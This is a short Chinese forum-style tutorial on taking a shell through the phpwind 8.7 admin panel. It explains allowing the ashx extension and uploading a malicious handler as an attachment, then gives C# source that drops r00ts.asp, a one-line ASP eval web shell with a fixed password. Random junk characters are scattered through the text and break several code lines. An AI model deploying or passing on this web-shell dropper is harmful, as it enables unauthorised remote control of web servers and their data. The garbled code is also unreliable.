phpwind 8.7 后台拿shell

admin

首先点开后台地图 然后附件设置 添加一个ashx后缀 2000大小

% R/ x. V  G% W" R" p: B  z群里面我以前扔的那个ashx.txt 下载回来改成fuck.ashx

5 ]: s; p3 ]1 V2 H$ R7 o发表文章那边有个附件上传 把ashx扔上去 前提是iis 阿帕奇我还真不知道咋整

$ W6 F3 O# P  T然后再打开后台地图 附件优化 滑到下面就看到刚上传的ashx
6 |7 m& M$ c% K0 |3 \% g
打开之后空白 会在目录底下生成r00ts.asp 密码r00ts

# G- T- E. o+ i+ X+ J下面是代码:
7 i. Z6 b# c( Y1 ]2 k2 @& H% P
<%@ WebHandler Language="C#"Class="Handler" %>
using System;
using System.Web;
' A/ l2 o! C" J) C/ rusing System.IO;
4 M3 ~. m. c! {' e* u* ^5 K# vpublic class Handler : IHttpHandler {
1 P& e7 }- f! D. ]/ w5 O, vpublic void ProcessRequest (HttpContext context) {
4 I) Q$ l2 f4 d/ n! L2 Ccontext.Response.ContentType = "text/plain";
StreamWriter file1= File.CreateText(context.Server.MapPath("r00ts.asp"));
file1.Write("<%eval request(\"r00ts\")%>");
file1.Flush();
file1.Close();
}
public bool IsReusable {
: F) v1 B; }, n: A* w% ]" Tget {
return false;
" N; j0 R7 U6 D; E}
, z2 n( G  d3 J4 Q- B+ q& T}
}
; ~- p- f9 w$ D( B+ O) U; M